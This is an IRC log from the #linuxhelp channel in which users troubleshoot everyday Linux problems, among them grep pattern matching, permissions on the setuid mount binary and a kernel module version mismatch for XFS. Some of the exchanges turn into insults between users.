Ah.. darn.. [14:05] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [14:05] ananke, Thanks for the help. [14:05] Solak: I am out [14:08] ShawnRisk (n=ShawnRis@HSE-Toronto-ppp317184.sympatico.ca) left irc: "Leaving" [14:10] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [14:14] kay (n=kay@c129029.adsl.hansenet.de) joined #linuxhelp. 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[14:30] bMotion: running level 4 self-diagnostic [14:30] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [14:31] gnubien (n=e@175.245.33.65.cfl.res.rr.com) joined #linuxhelp. [14:33] Punkwork (n=Punkcut@adsl-63-202-163-196.dsl.snfc21.pacbell.net) joined #linuxhelp. [14:35] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [14:36] Wyleyrabbit: it may be because it's trying to detect your terminal. try forcing it by using -fauxwww [14:37] perfect. thanks! [14:39] ows (n=ows@bl5-50-98.dsl.telepac.pt) joined #linuxhelp. [14:39] why can't I read registers being altered when I'm usin' a serializable transaction? (inside my own serializable transaction) [14:39] how can i dump my partition tables entries? [14:40] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [14:41] kasc_ (n=kasc@dslb-084-061-115-120.pools.arcor-ip.net) joined #linuxhelp. [14:41] spiekey : fdisk -l /dev/device [14:41] spiekey : what exactly do you want to accomplish? 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[15:31] gnubien: thanks i'll take a look [15:33] gnubien: what package is that part of? the only man page i can get for crypt is the C function not the command [15:35] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [15:35] mutex0: man -k encryption ? should list all manuals with that word in it [15:36] Gijon (n=Gijon3@alunos114.wifi.ipb.pt) left #linuxhelp ("Leaving"). [15:36] gnubien: nope, man -k crypt and man -k encryption output `nothing appropriate' [15:37] sphenxes (n=sphenxes@u-127-236.adsl.univie.ac.at) joined #linuxhelp. [15:38] mutex0: ok, freshmeat.net search: encryption AES [15:38] gnubien: ok thanks [15:38] no_gatez_fan (n=patrick@cpe-069-132-012-246.carolina.res.rr.com) left irc: "laterz" [15:39] zezu (n=zezu@69.246.204.192) joined #linuxhelp. [15:39] if i have a game that is written in java, how can i start it? [15:40] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [15:41] Lazydog: the game's README file should tell you that, or the man [15:41] idaho45 (n=john@200.84.166.235) left irc: Remote closed the connection [15:41] gnubien: don't remember seeing anything in the README but will look again. thnx [15:44] |splat| (n=sweetbre@pcp0011415952pcs.desoto01.md.comcast.net) joined #linuxhelp. [15:45] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [15:46] GeniXPro (n=bradley@S0106000d889027fb.vf.shawcable.net) joined #linuxhelp. [15:50] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [15:53] AJ_Z0 (i=gaz16id2@pdpc/supporter/sustaining/aj-z0) left irc: "Screw you guys, I'm going home!" [15:53] AJ_Z0 (i=r0lxe4wa@pdpc/supporter/sustaining/aj-z0) joined #linuxhelp. [15:54] TheSimkin (n=Simkin@tor/session/x-5dbc9805c2a7b6dd) joined #linuxhelp. [15:55] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [15:57] mutex0 (n=mike@140.99.126.126) left #linuxhelp. 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[16:15] Punkcut (n=Punkcut@64-121-11-35.c3-0.sfpo-ubr2.sfrn-sfpo.ca.cable.rcn.com) joined #linuxhelp. [16:16] zezu (n=zezu@69.246.204.192) left irc: "reboot" [16:20] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [16:21] seemawn (n=seemawn@p54A9A0B8.dip0.t-ipconnect.de) joined #linuxhelp. [16:23] how to add actions to file downloads for firefox? [16:24] k0s: actions like run xine for audio files downloaded? [16:25] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [16:25] gnubien: yeah, or what i actually want is launch xpdf for pdf files [16:25] there is remove action...change action...but no add action :( [16:25] under download preferences, that is [16:26] k0s: ok, there is a way to do it but dont know the sequence, think its "open with" or "open with another application" [16:27] k0s: best to ask in #firefox if needed imho [16:28] gnubien: yeah, but if i just type the name it won't save the preference unless i want to "Do automatically for all files like this from now on" [16:30] bMotion: running level 4 self-diagnostic [16:30] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [16:32] k0s: ok, i used firefox and right clicked a pdf file, clicked open in new tab, a info box opens where you can choose the app to open the file like gv, xpdf, etc [16:32] k0s: but you have to browse for it in that info box, not just type in the name [16:32] gnubien: sure, but i don't want to do that everything time [16:33] TheSimkin (n=Simkin@tor/session/x-5dbc9805c2a7b6dd) left irc: Remote closed the connection [16:33] k0s: firefox will remember which app you chose to open a pdf file iirc [16:33] gnubien: for instance, for .m3u files, which somehow magically got into download actions, i can view with xmms with one click, or i can download, or i could choose another application [16:33] gnubien: it didn't [16:34] remember, that is [16:34] k0s: best to ask in #firefox if needed imho [16:35] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [16:35] gnubien: i did. no response as yet [16:35] gnubien: i'll google it too, in a bit [16:35] gnubien: but for now, the eating [16:35] Action: k0s pizzas [16:36] yummy, with mushy-roomy-room sause ;) [16:36] nah, just plain cheese [16:37] k0s: chez-whiz pizza's in microwave in 10 seconds ;) [16:37] eww! [16:37] hehe [16:38] k0s: u're asking on #firefox on freenode? [16:39] yep [16:39] gnubien: !update firefox is @ irc.mozilla.org, #firefox [16:39] ;) [16:40] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [16:40] #firefox on freenode isnt where the action takes place, u need the mozilla irc servers, 5 times the ppl there [16:40] spike: ok, thanks for the info [16:41] k0s: fyi i just checked my firefox and it opens wav files using xine just like i set it originally, firefox remembers your choices for apps to open with particular files [16:43] gnubien: hmm...mine doesn't. what version are you using? [16:43] k0s: think its 1.07, an old one [16:44] that's what i get for using 1.5 i think the 1.0whatever on my other machine remembers such things [16:44] k0s: ok, could be version bug or preference setting [16:45] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [16:50] Last message repeated 1 time(s). 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[17:30] bMotion: running level 4 self-diagnostic [17:30] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [17:33] StevenR (n=foo@82-41-30-69.cable.ubr04.edin.blueyonder.co.uk) left irc: Remote closed the connection [17:35] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [17:36] xp__ (n=knoppix@67-102-228-17.adsl.lbdsl.net) left irc: Remote closed the connection [17:40] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [17:43] tws (i=tws@61.5.0.156) left irc: Connection timed out [17:45] #linuxhelp (+ctrn) : [m/114 o/0 h/0 v/0 n/114 b/19 e/- I/-] [17:49] mboso (n=mboso@cpe-66-108-149-75.nyc.res.rr.com) joined #linuxhelp. [17:50] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [17:50] if i want to pass -m32 to gcc when i'm going ./configure, how would i go about that? [17:50] going=doing [17:50] mboso: via CFLAGS [17:51] environment variable? [17:51] cool. [17:51] yep [17:52] kasc: thanks [17:52] CFLAGS for gcc and CXXFLAGS for g++ [17:55] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [18:00] Last message repeated 1 time(s). [18:00] Writing user file... [18:00] Writing channel file... [18:01] bMotion: autosaving facts... [18:01] chupacabra (n=chupacab@adsl-71-145-215-94.dsl.austtx.sbcglobal.net) joined #linuxhelp. [18:02] quazar (i=sandi@schizofrenia.org) left irc: Nick collision from services. [18:02] quazar_ (i=sandi@schizofrenia.org) joined #linuxhelp. [18:05] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [18:10] Last message repeated 1 time(s). [18:10] boerst` (n=boerst@p54B136E6.dip0.t-ipconnect.de) joined #linuxhelp. [18:15] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [18:15] sybariten (n=jake@h169n1c1o986.bredband.skanova.com) joined #linuxhelp. [18:15] klk [18:15] Punkcut (n=Punkcut@64-121-11-35.c3-0.sfpo-ubr2.sfrn-sfpo.ca.cable.rcn.com) left #linuxhelp. [18:20] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [18:21] Nick change: Va7srt -> Ghostwolf [18:25] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [18:27] boerst (n=boerst@p54B12E94.dip0.t-ipconnect.de) left irc: Read error: 110 (Connection timed out) [18:30] bMotion: running level 4 self-diagnostic [18:30] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [18:30] rue_more (n=rue_mohr@d154-20-203-111.bchsia.telus.net) joined #linuxhelp. [18:30] I cant find the DE500A support on 2.6.14.3, can someone tell me where it should be? [18:32] and here is a good question, 2.6 dosn't support v0 swap space, but I cant make v1 swap space if the page size is less than 2K, whoch I dont think it is on my P150 so does that mean I cant use swap on it? [18:32] I'd also like to know what common problems lead to AT keybaords not working [18:33] rue_more: >= 2.6.5 kernel? [18:34] 2.6.14.3 [18:35] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [18:35] elriah (n=bkervask@adsl-072-149-159-016.sip.bhm.bellsouth.net) joined #linuxhelp. [18:35] I suspect the controll MAY not work perfectly, but I dont have any problems under 2.4 [18:35] Hi all. I'm running XFree86 on Debian (sarge) and can't get DPMS to timeout my monitor ... My video card is Nvidia Quadro 900, using "nv" driver included with XFree86, monitor is Dell 2005FP ... Any help would be appreciated ... [18:36] keyboard: Timeout - AT keyboard not present?(ed) [18:36] keyboard: Timeout - AT keyboard not present?(f4) [18:36] under 2.4, but it still works [18:37] drelle_work (n=drelle@12-217-155-71.client.mchsi.com) left irc: "Leaving" [18:38] gnubien? [18:39] rue_more: ask in #kernel? [18:40] #linuxhelp (+ctrn) : [m/117 o/0 h/0 v/0 n/117 b/19 e/- I/-] [18:40] I did [18:40] NO_LIFE=TRUE [18:41] its a joke, get it? [18:42] Hi all. I'm running XFree86 on Debian (sarge) and can't get DPMS to timeout my monitor ... My video card is Nvidia Quadro 900, using "nv" driver included with XFree86, monitor is Dell 2005FP ... Any help would be appreciated ... [18:42] what have you tried ? [18:43] Humanoid (n=user@ppp-58.11.1.14.revip2.asianet.co.th) joined #linuxhelp. [18:43] grepper: changing "dpms" option in my config, xset to manually set timeouts ... [18:43] oh I forgot to ask the other two questions [18:43] rue_more: i can only guess that you configured your kernel incorrectly; grep for keyboard in kernel documentation dir Configure.help? [18:43] I want to search for a file that has 3 strings in it. Can grep be used to perform a boolean "and" of strings? [18:44] Agiofws (n=AC9CESS[@athe730f-0216.otenet.gr) joined #linuxhelp. [18:45] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [18:46] elriah (n=bkervask@adsl-072-149-159-016.sip.bhm.bellsouth.net) left #linuxhelp. [18:46] -rwxr-xr-x 1 virox virox 0 2006-01-04 04:41 foo.bar <---- how do i get rwx for user virox wheni use "touch foo.bar " ? [18:46] and xset q shows the option there ? [18:46] Humanoid: awk '(/regex1/&&/regex2/&&/regex3/)' filename [18:47] caplink811-log (n=caplink8@dslb-084-059-067-038.pools.arcor-ip.net) joined #linuxhelp. [18:50] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [18:50] gnubien: Thanks! [18:53] Humanoid: awk '(/regex1/&&/regex2/&&/regex3/)' * to search a bunch of files [18:53] anyone know how to make winamp .wal skins (specifically) work with xmms .. i've got the regular wsz ones working fine [18:54] caplink811_log (n=caplink8@dslb-084-059-067-197.pools.arcor-ip.net) left irc: No route to host [18:55] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [18:56] rue_more (n=rue_mohr@d154-20-203-111.bchsia.telus.net) left irc: [18:57] Nick change: caplink811-log -> caplink811_log [18:58] gnubien: The && doesn't seem to be working. I get now matches when I put a pattern that I know should find a match. Does && require the the two patterns be on the same line? Cause my patterns are in the same file, not on the same line. [18:58] Agiofws : uhmm, huh? [18:59] WhyvasLT (n=poop@CPE0080c8ad42ec-CM00080d88e844.cpe.net.cable.rogers.com) left irc: Remote closed the connection [19:00] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [19:00] Writing user file... [19:00] Writing channel file... [19:00] Humanoid: same line [19:01] bMotion: autosaving facts... [19:01] |splat| (n=sweetbre@pcp0011415952pcs.desoto01.md.comcast.net) left irc: Read error: 104 (Connection reset by peer) [19:01] So how do I find a file that has my 3 strings at the same time, but not necessarily on the same line? [19:01] Humanoid: same file: grep regex1 |grep regex2 |grep regex3 * maybe [19:01] |splat| (n=sweetbre@pcp0011415952pcs.desoto01.md.comcast.net) joined #linuxhelp. [19:02] gnubien: I tried that. grep only outputs the line that contains the pattern, so after the pipe, the second grep only sees the same line. [19:02] Maybe if I can get grep to output the whole file on a successful match. [19:04] Humanoid: tough to do [19:05] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [19:05] riddlebox (n=james@24-171-11-166.dhcp.stls.mo.charter.com) joined #linuxhelp. [19:07] hikenboot (n=hikenboo@c-24-218-84-234.hsd1.ma.comcast.net) left irc: Remote closed the connection [19:10] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [19:11] Humanoid: egrep "regex1 and regex2 and regex3" * [19:12] Humanoid: egrep 'regex1 and regex2 and regex3' * #may need hard quotes ' [19:15] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [19:15] Humanoid: egrep "/foo/" and "/bar/" and "zoo" * #this works [19:17] Agiofws (n=AC9CESS[@athe730f-0216.otenet.gr) left irc: "psemata!" [19:17] Humanoid: grep -l "foo" and "bar" and "zoo" * #this also works [19:19] rar-man (n=rar-man_@CPE000f1f213489-CM00080db15a49.cpe.net.cable.rogers.com) left irc: "Chatzilla 0.9.68.5.1 [Firefox 1.0.7/20050915]" [19:19] gnubien (n=e@175.245.33.65.cfl.res.rr.com) left irc: "leaving" [19:20] #linuxhelp (+ctrn) : [m/113 o/0 h/0 v/0 n/113 b/19 e/- I/-] [19:20] jjb_lyceum (n=john@user-10lfd8s.cable.mindspring.com) left irc: [19:20] Doesn't work for me. It inteprets everything after the first argument as a filename. For example, it says there is no such file named "and". [19:23] TheBonsai (i=bonsai@p54934C5B.dip.t-dialin.net) left irc: Read error: 110 (Connection timed out) [19:24] ankurr (n=ankur@64-121-11-35.c3-0.sfpo-ubr2.sfrn-sfpo.ca.cable.rcn.com) left irc: Read error: 104 (Connection reset by peer) [19:24] TheBonsai (i=bonsai@p5493518B.dip.t-dialin.net) joined #linuxhelp. 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[19:56] foo: that would be determined potentially by /etc/fstab's entry per filesystem. [19:56] foo: there is 'user' and 'nouser' [19:56] ah [19:56] foo: also it could be determined by /sbin/mount being setuid root [19:56] which it should NOT BE [19:57] ddttmm : sure it should be [19:57] how else do you think mount would work for users with proper fstab entries? magic? [19:59] i require assistance with kernel compiling. i'm trying to recompile an old kernel source tree on a new system. every time i recompile it from scratch with 'make clean ; make -j2 bzImage ; make -j2 modules', and copy System.map and bzImage into /boot and reboot to the appropriate kernel and do '/sbin/modprobe xfs', it tells me that i have symbol magic mismatching [19:59] ananke: you are correct. upon further reflection i see that i contradicted myself. [19:59] ananke: and that mount is in /bin, not /sbin ;) [20:00] #linuxhelp (+ctrn) : [m/114 o/0 h/0 v/0 n/114 b/19 e/- I/-] [20:00] Writing user file... [20:00] Writing channel file... [20:00] /sbin/mount should point to /bin/mount [20:01] bMotion: autosaving facts... [20:01] ddttmm : you may not have everything enabled in your kernel. do other modules work? [20:01] also, do this: find /lib/modules/`uname -r`/ -iname '*xfs*' [20:01] what does it show? [20:02] ohh, and of course, the main mistake: [20:02] Is -rwsr-xr-x 1 root root 68496 2005-09-21 07:43 /bin/mount the correct perms for the mount binary? Or should it be user:user ? [20:02] you never ran 'make modules_install' :) [20:02] ananke: it shows the correct one [20:02] foo : that's correct. don't TOUCH IT. [20:02] foo: dont ever change anything that the distro installed :) [20:02] foo: to be safe [20:03] foo : in fact, never, ever screw with system stuff. it's there for a reason [20:03] foo: unless you are absolutely certain that you're qualified to make your own distro [20:03] ddttmm and ananke: I don't. I am trying to prove to someone why it is bad to have it as user:user ... can you give me a reason? [20:05] #linuxhelp (+ctrn) : [m/114 o/0 h/0 v/0 n/114 b/19 e/- I/-] [20:05] foo: because then it would be completely broken and wouldn't work. [20:05] foo : first, it breaks mount for being able to use it as a regular user [20:05] foo: because mounting is a privileged operation [20:05] it requires uid0 [20:05] foo : second, it's retarded to change it that way. [20:05] foo : third, whoever says it's correct, is an idiot. you can quote me on that. [20:05] Action: foo copies and pasted [20:05] lols [20:06] nobody would say that's correct. the closest they'd get to that is saying they want it not setuid root, so that it can only be run via sudo ;) [20:06] Haha. He doesn't give up. "No. I know what my system does [20:06] oh sweet. well tell him to proceed by all means, then. [20:06] in other news, "stove is hot" [20:06] foo : fine. ignorance cannot be cured [20:06] " I've checked 5 boxes in the house, running 3 different OS's and all 5 are the same" [20:07] Where "the same" is user.user on /bin/mount [20:07] foo: how'd they get that way? [20:07] foo : he's either lying or he screwed it up [20:07] foo: he wouldn't notice, assumign that he either only runs it as that user, or as root or via sudo. [20:08] foo: it's entirely possible, although utterly pointless, to do that. [20:08] ah [20:09] foo: the only restriction is that only his user or a privileged user can mount filesystems that have the 'user' flag in their /etc/fstab entry [20:09] and most people don't really care about that too much. [20:09] coz they are the workstation's only user normally [20:09] Yup. Alright, thanks you two. You have been a big help :) [20:09] so sure, whatever [20:09] ^_^ [20:10] #linuxhelp (+ctrn) : [m/114 o/0 h/0 v/0 n/114 b/19 e/- I/-] [20:11] xfs: version magic '2.6.5-dtm0 preempt 586TSC gcc-3.3' should be '2.6.5-dtm0 preempt 586TSC gcc-3.4' [20:11] FATAL: Error inserting xfs (/lib/modules/2.6.5-dtm0/kernel/fs/xfs/xfs.ko): Invalid module format. [20:11] ananke: that's what it says exactly. now attempting to load other modules. [20:11] foo (n=foo@unaffiliated/foo) left #linuxhelp. [20:12] karvr (n=karvr@ppp-216-106-101-248.storm.ca) joined #linuxhelp. [20:12] ananke: same kinda thing for other filesystems [20:12] ananke: this kernel works on other systems. what sets that gcc version?! [20:12] i just rebuilt the whole thing from scratch [20:12] maybe i need to do 'make mrproper'. [20:12] dabicho (n=dabicho@dsl-201-129-237-121.prod-infinitum.com.mx) joined #linuxhelp. [20:13] ddttmm : sorry, back [20:13] hi. [20:13] anyway, the xfs module is clearly compiled with an older gcc. i told you already: you never ran make modules_install [20:13] yeah i did. [20:14] you never said you did [20:14] i'm 100% sure i did it though. [20:14] 'make clean ; make -j2 bzImage ; make -j2 modules', [20:14] hello. I am ripping some cd's with grip and cdparanoia but it is pretty slow. It finishes encoding before ripping a track. Anyone has an idea why it can be? It is a dvd drive. [20:14] pretty sure? run it now [20:14] i get the same error if i insmod the xfs.ko which is in the kernel src tree, too. [20:14] dabicho : run dmesg, see if you get any errors. your media may be scratched [20:15] #linuxhelp (+ctrn) : [m/115 o/0 h/0 v/0 n/115 b/19 e/- I/-] [20:15] ddttmm : so the kernel you're running was compiled using a different gcc. [20:15] ananke: no i just recompiled it like i said [20:15] ddttmm : what does 'cat /proc/version' show? paste it [20:15] i completely overwrote the older versions [20:15] ddttmm : don't argue. if you really did, you wouldn't be having that issue [20:15] so set aside your 'i know i did it', and focus on the problem [20:16] all the symptoms point to something else. and i don't trust you as far as i can throw you [20:16] so now, show me the things i ask for [20:16] ananke: i'm arguing away! i did it. the 'cat /proc/version' says gcc 3.4.2 :) [20:16] ananke: there aren't even any conflicting versions installed. [20:17] ananke: i dont have multiple versions of 2.6.5-dtm0 in /boot or /etc/grub.conf or /lib/modules [20:17] ddttmm : ls -la /lib/modules/2.6.5-dtm0/kernel/fs/xfs/xfs.ko [20:17] they were recompiled from scratch and overwritten [20:17] again, don't interpret the data. if you knew how to do it, you wouldn't be here [20:18] ananke: i can't paste it, coz it's in runlevel 1 on another system. the xfs.ko is there. [20:18] fine. you want to interpret the data, suit yourself [20:18] ananke: i know exactly how to do it. i just dont know where this extra metadata lives, so i'm going to do 'make mrproper'. [20:18] that won't help. [20:18] idaho45 (n=john@200.84.166.235) joined #linuxhelp. [20:19] ok what's the next step? [20:19] ddttmm : mv /lib/modules/2.6.5-dtm0 /lib/modules/2.6.5-dtm0.orig [20:19] then run make modules_install again [20:20] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [20:20] ananke: that doesn't work because even the freshly compiled module corresponding with the freshly compiled/booted kernel wont load. [20:20] ananke: i did that, did '/sbin/depmod -a' and get the same result [20:21] what won't work? wtf are you talking about? [20:21] ananke: what's not clear? [20:21] your claims [20:22] ananke: what you just said, doesn't work [20:22] why wouldn't it work? what errors do you get from mv or make modules_install? [20:22] ananke: neither; i get the same errors as before [20:22] aVh (n=aVhereti@203.145.188.150) joined #linuxhelp. [20:22] just like i said. [20:22] ananke: the nonexistent gcc version mismatch [20:22] nope, you haven't said jack [20:22] yeah, i did. [20:22] idaho45 (n=john@200.84.166.235) left irc: Client Quit [20:22] honestly, if you know how to fix it, you shouldn't be here asking [20:22] i retyped the entire errors verbatim. [20:23] if you can't follow instructions and actually give quality feedback, i have no desire to help you [20:23] ananke: i followed the instructions exactly, confirmed such directly, and gave the verbatim feedback. you have not stated exactly what you're having a problem interpreting. [20:23] your instructions are mirroring what i already have done and stated [20:24] the 'doesn't work' feedback is as useful as fleas [20:24] no, i said i get the same results as the verbatim error i already typed. [20:24] yeah. too bad you never said that you've done those things [20:24] 22:11 < ddttmm> xfs: version magic '2.6.5-dtm0 preempt 586TSC gcc-3.3' should be '2.6.5-dtm0 preempt 586TSC gcc-3.4' [20:24] 22:11 < ddttmm> FATAL: Error inserting xfs (/lib/modules/2.6.5-dtm0/kernel/fs/xfs/xfs.ko): Invalid module format. [20:24] Now doesn't work is a strong statement. Does it sit on the couch all day? Is it making faces at you? Does it want more money? Is it sleeping with your girlfriend? Please be specific! or No, it doesn't work YET! [20:24] ananke: yeah. i did. [20:24] 22:20 < ddttmm> ananke: i did that, did '/sbin/depmod -a' and get the same result [20:25] #linuxhelp (+ctrn) : [m/116 o/0 h/0 v/0 n/116 b/19 e/- I/-] [20:25] ddttmm : fine. you did. happy now? go fix it yourself [20:25] i did excatly what you said, as i've restated twice, and i got the same results as i just pasted. [20:25] ananke: ok you're the only one harassing anyone and being pointlessly malcontent. not me :) [20:25] awol : it may be sitting on the couch drinking beer [20:25] i'm just looking for the "two heads are better than one" when hunting an obscure misconfig [20:25] ddttmm : right. i'm the one who can't even figure out basic permissions on mount, and giving out false info [20:26] idaho45 (n=john@200.84.166.235) joined #linuxhelp. [20:26] so far i've harassed only you. and be happy you got some FREE help [20:26] rickest (n=rickest@dsl50.hotsprgs.net) joined #linuxhelp. [20:27] ddttmm: CONFIG_MODVERSIONS=Y ; CONFIG_MODULE_SRCVERSION_ALL=n <- got those set? [20:27] ohh joy. open-iscsi crashed again [20:28] awol: well there is no CONFIG_MODULE_SRCVERSION_ALL. there is CONFIG_MODULES, CONFIG_MODULE_UNLOAD, AND CONFIGURE_MODULE_FORCE_UNLOAD all set to 'y' [20:28] awol: i'm grep'ing .config [20:28] depends on the kernel source version too.... [20:28] yeah. [20:28] awol: this one's older. 2.6.5 [20:29] ddttmm: well in the modules section anyway.... i suspect a bad option somewhere there.... just a wild guess [20:29] and 2.6.x was buggy before around .10 or .11 iirc [20:29] so ymmv alot [20:29] awol: yeah. i could try a newer one. i wish i coudl boot a cd on this system. [20:30] bMotion: running level 4 self-diagnostic [20:30] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [20:30] you oughta get latest kernel and try again [20:30] awol: i have 2.6.9 src on that system and that's it. [20:30] bleah [20:30] finger @kernel.org for the latest kernel info [20:30] awol: i can't load any modules so i have no network ;) [20:30] i can only use what's on the hd now, to try to resurrect the destructed XFS. [20:31] :/ [20:31] 2.6.9 had a lousy ext3, that's for sure [20:31] ddttmm: erm.... you have a problem then... [20:31] i kind of do. [20:31] ddttmm: this is where a toms root/boot floppy comes in handy.... [20:32] awol: yeah but that doesn't have xfs. :) [20:32] d'oh! [20:32] my particular xfs.ko is 500 kB lol [20:32] what's so great about xfs anyway? since everyone who has probs with it has such a pita fixing it [20:33] think about how many years ago beos came out. I still don't have a database fs. [20:33] i dunno... i stick with traditional file systems with great support by everybody [20:33] yeah, xfs has issues. [20:33] awol: I stick with ext3 for that very reason. [20:33] awol: any fs has problems when your non-RAID hard drive fails and you can't boot an alternate root. [20:33] regeya: yup! only sane way to go imho [20:33] awol: xfs has a large suite of tools, fyi. i know that doesn't answer your question though. [20:34] awol: xfs is in some ways ideally intended for a system that won't suffer catastrophic hardware failure [20:34] ddttmm: well i hardly ever have to mess with my file systems..... [20:34] awol: you should still run fsck manually and forcedly [20:34] i had my primary hd crash on xmas day... but i reinstalled on a new hd and repaired the old ext3 np's [20:34] backups are a must too [20:35] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [20:35] awol: you could be suffering data corruption or loss right now and not know it. i've been through that with ext3 due crashy hardware. [20:35] all i did was power cycle an idle system once a day for several weeks and i lost files in /lib and whatnot which weren't even open [20:35] i didn't think that was supposed to be possible but oh well :) [20:35] i ended up repairing that, reinstalling, and fixing the hardware. [20:36] reinstalling the particular rpm, that is. [20:36] wow [20:36] that was with ext3 [20:36] y'know, ext2/ext3 are the only FSes I've never had software-related problems with [20:36] circa redhat 8 i think [20:37] regeya: yeah they're not totally robust by design by today's standards [20:37] even for extensive personal use [20:37] I'll take non-robust over "yep, it'll trash your data" [20:38] karvr (n=karvr@ppp-216-106-101-248.storm.ca) left irc: "Leaving" [20:38] regeya: well that's how ext2/ext3 are depending on how they're treated. [20:39] Dr_Willis (i=willis@12-222-81-183.client.insightBB.com) joined #linuxhelp. [20:39] ddttmm, it'd probably help to know how you're defining 'robust' [20:40] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [20:40] regeya: well at the very least, you want them to not trash files which aren't open, nor to trash files on an idle system, just by power cycling it. and if it did, you'd want it to tell you. [20:40] regeya: but ext3 is not a fully journaling fs. it's just a best-effort fsck accelerator. [20:41] define 'power cycling', because you're making it sound like rebooting causes filesystem corruption. [20:41] if so, how many years should I expect to go without noticible corruption? [20:41] regeya : uhmm, that's how most people experience filesystem corruption [20:42] regeya : i haven't seen a filesystem yet that couldn't be corrupted by power outage [20:42] regeya: yeah, it does. power cycling means you're hitting the power button suddenly, which in my case was implied due to spontaneous kernel panics. [20:42] regeya: you shouldn't go years without forcing an fsck [20:43] ddttmm, and thanks for assuming I go for years without a fsck [20:43] regeya: what?! hehe i didn't. you just asked. [20:43] regeya: it was an additoinal meta-answer since you're curious [20:44] now that I know the definition of 'power cycling' (sounds like I'm riding a 10-speed uphill in the highest gear for maximum cardio, or something) I can safely say that if I have to do that, I assume something's wrong and fervently wish my backups were current. [20:44] DrBair (n=ryan@c-67-186-55-131.hsd1.pa.comcast.net) joined #linuxhelp. [20:45] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [20:45] regeya: yeah. and it'd be great to force a full fsck just to be sure, if you can afford the time. :) [20:45] regeya : nobody expects the spanish inquisition. same thing with power outages, kernel panics, etc [20:46] I have two Xservers running on my computer, one with a binary-nvidia driver, the other using the open radeon driver. Any idea how I can get both of them going on DRI? Seems like the radeon is attempting to use nvidias glx [20:46] ananke, would you *please* drop the goddamn patronizing tone? [20:46] regeya : or what? [20:46] I said *please* [20:46] regeya : i wasn't patronizing you. i was making fun of how you think that people hit power buttons for shits and giggles [20:48] ok, you're an idiot and I can safely /ignore, thank you! [20:48] yes, i'm the idiot who thinks power outages are a desired action. nice one, moron [20:49] regeya (n=shane@dialup-4.159.59.21.Dial1.Chicago1.Level3.net) left #linuxhelp ("Leaving"). [20:49] and he ran [20:50] #linuxhelp (+ctrn) : [m/118 o/0 h/0 v/0 n/118 b/19 e/- I/-] [20:50] regeya (n=shane@dialup-4.159.59.21.Dial1.Chicago1.Level3.net) joined #linuxhelp. [20:51] ohh, no, it's back! [20:55] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [20:56] TheSimkin (n=Simkin@tor/session/x-0f72948a43995237) joined #linuxhelp. [20:56] regeya (n=shane@dialup-4.159.59.21.Dial1.Chicago1.Level3.net) left irc: "Leaving" [21:00] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [21:00] Writing user file... [21:00] Writing channel file... [21:01] bMotion: autosaving facts... [21:04] What site has a good list of annoyances for privoxy testing? [21:05] #linuxhelp (+ctrn) : [m/119 o/0 h/0 v/0 n/119 b/19 e/- I/-] [21:05] PeterFA: of annoyances with what? [21:05] Like pop ups and banners. [21:06] Things privoxy 